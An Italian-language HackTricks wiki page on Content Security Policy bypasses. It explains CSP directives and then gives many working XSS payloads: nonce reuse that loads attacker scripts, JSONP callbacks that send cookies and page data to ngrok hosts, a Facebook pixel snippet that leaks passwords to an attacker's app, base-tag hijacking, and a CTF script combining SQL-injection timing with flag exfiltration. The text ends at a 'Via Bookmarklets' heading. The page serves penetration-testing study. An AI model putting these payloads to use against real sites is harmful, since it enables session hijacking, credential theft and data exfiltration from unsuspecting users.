# Content Security Policy (CSP) Bypass

{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>
{% endhint %}

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!

**Approfondimenti sull'Hacking**\
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

**Notizie di Hacking in Tempo Reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

**Ultimi Annunci**\
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme

**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!

## Cos'è il CSP

La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando i percorsi e le fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.

L'implementazione del CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.

* Implementato tramite header di risposta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implementato tramite meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers

CSP può essere applicato o monitorato utilizzando questi header:

* `Content-Security-Policy`: Applica il CSP; il browser blocca eventuali violazioni.
* `Content-Security-Policy-Report-Only`: Utilizzato per il monitoraggio; riporta le violazioni senza bloccarle. Ideale per testare in ambienti pre-produzione.

### Defining Resources

CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direttive

* **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
* **default-src**: Imposta una politica predefinita per il recupero delle risorse quando le direttive di recupero specifiche sono assenti.
* **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.
* **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Limita gli URL per i frame.
* **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
* **img-src**: Definisce le fonti consentite per le immagini.
* **font-src**: Specifica fonti valide per i font caricati utilizzando `@font-face`.
* **manifest-src**: Definisce le fonti consentite per i file di manifest dell'applicazione.
* **media-src**: Definisce le fonti consentite per il caricamento di oggetti multimediali.
* **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>` e `<applet>`.
* **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
* **form-action**: Elenca gli endpoint validi per l'invio di moduli.
* **plugin-types**: Limita i tipi mime che una pagina può invocare.
* **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
* **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
* **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
* **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
* **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
* **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)

### Fonti

* `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
* `'self'`: Consente il caricamento dallo stesso dominio.
* `'data'`: Consente il caricamento di risorse tramite lo schema data (ad es., immagini codificate in Base64).
* `'none'`: Blocca il caricamento da qualsiasi fonte.
* `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
* `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
* `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, non raccomandato per motivi di sicurezza.
* `'nonce'`: Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).
* Se hai un'esecuzione JS limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se strict-dynamic è utilizzato, qualsiasi fonte consentita può caricare nuove fonti quindi questo non è necessario), come in:

<details>

<summary>Carica script riutilizzando nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>

* `'sha256-<hash>'`: Aggiunge alla whitelist gli script con un hash sha256 specifico.
* `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.
* `'host'`: Specifica un host specifico, come `example.com`.
* `https:`: Limita gli URL a quelli che utilizzano HTTPS.
* `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).
* `filesystem:`: Consente il caricamento di risorse dal filesystem.
* `'report-sample'`: Include un campione del codice violante nel rapporto di violazione (utile per il debug).
* `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle fonti corrisponda al documento (solo origini sicure possono caricare risorse da origini sicure).
* `'strict-origin-when-cross-origin'`: Invia URL completi quando si effettuano richieste della stessa origine, ma invia solo l'origine quando la richiesta è cross-origin.
* `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzeranno immediatamente a un'altra risorsa. Non raccomandato poiché indebolisce la sicurezza.

## Regole CSP Non Sicure

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Payload funzionante: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' tramite Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'

{% hint style="danger" %}
Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
{% endhint %}
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Payload funzionante:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il **nuovo tag script sarà autorizzato ad essere eseguito**.

### Wildcard (*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Payload funzionante:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Mancanza di object-src e default-src

{% hint style="danger" %}
**Sembra che questo non funzioni più**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payload funzionanti:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Caricamento file + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Se puoi caricare un file JS, puoi eludere questo CSP:

Payload funzionante:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.

Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.

Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).

### Form-action

Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.

### Endpoint di terze parti + ('unsafe-eval')

{% hint style="warning" %}
Per alcuni dei seguenti payload **`unsafe-eval` non è nemmeno necessario**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Carica una versione vulnerabile di angular ed esegui JS arbitrario:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads usando Angular + una libreria con funzioni che restituiscono l'oggetto `window` ([guarda questo post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
Il post mostra che puoi **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e controllare **quali funzioni di quali librerie restituiscono l'oggetto `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS da un nome di classe:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abusare del codice JS di google recaptcha

Secondo [**questo writeup CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di un CSP per eseguire codice JS arbitrario bypassando il CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Abusare di www.google.com per redirect aperto

Il seguente URL reindirizza a example.com (da [qui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusare di \*.google.com/script.google.com

È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come è [fatto in questo rapporto](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).

### Endpoint di terze parti + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere elusi utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**

La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.

### Abusi di Terze Parti

Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:

| Entità            | Dominio Consentito                           | Capacità     |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.

Ad esempio, se trovi la seguente CSP:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
or
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Dovresti essere in grado di esfiltrare dati, similmente a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:

1. Crea un account sviluppatore Facebook qui.
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
3. Vai su "Impostazioni -> Base" e ottieni il tuo "App ID".
4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.

Poi, dal lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook per puntare all'app-id dell'account sviluppatore dell'attaccante e emettere un evento personalizzato come questo:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Fai riferimento al precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per ulteriori spiegazioni su altri abusi di terze parti.

### Bypass tramite RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.

Ad esempio, se CSP consente il percorso `https://example.com/scripts/react/`, può essere bypassato come segue:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.

Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, che è conforme al CSP.

∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.

Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.

La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.

Esempio online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Esecuzione JS negli Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### mancante **base-uri**

Se la direttiva **base-uri** è mancante, puoi abusarne per eseguire un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).

Inoltre, se la **pagina sta caricando uno script utilizzando un percorso relativo** (come `<script src="/js/app.js">`) utilizzando un **Nonce**, puoi abusare del **tag** **base** per farlo **caricare** lo script dal **tuo server, ottenendo un XSS.**\
Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS eventi

Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.

Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Questo frammento evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, utilizzando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.

**Trova altri bypass di Angular in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS e dominio autorizzato
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile su questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).

Payload funzionanti:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati rimossi o corretti)

### Bypass tramite Reindirizzamento

Cosa succede quando CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un'origine diversa che non è consentita, fallirà comunque.

Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Percorsi e Reindirizzamenti](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se il reindirizzamento porta a un percorso diverso, può eludere le restrizioni originali.

Ecco un esempio:
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP.

Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, **il percorso non è considerato**, e **lo script può essere caricato**, bypassando così la restrizione del percorso.

Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.

Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.

### Bypass CSP con markup pendente

Leggi [come qui](../dangling-markup-html-scriptless-injection/).

### 'unsafe-inline'; img-src \*; tramite XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.

Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS abusa di un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Con i Service Workers

La funzione **`importScripts`** dei service workers non è limitata dal CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Iniezione di Politica

**Ricerca:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **politica,** allora potresti **modificare** la **politica** in qualche modo che la renda **inutile**. Potresti **permettere script 'unsafe-inline'** con uno di questi bypass:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
Puoi trovare un esempio qui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

In Edge è molto più semplice. Se puoi aggiungere nel CSP solo questo: **`;_`** **Edge** **scarterà** l'intera **politica**.\
Esempio: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; via XSS (iframe) - Attacco temporale

Nota l'assenza della direttiva `'unsafe-inline'`\
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.

Questa volta un **flag** verrà estratto, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre il flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Via Bookmarklets

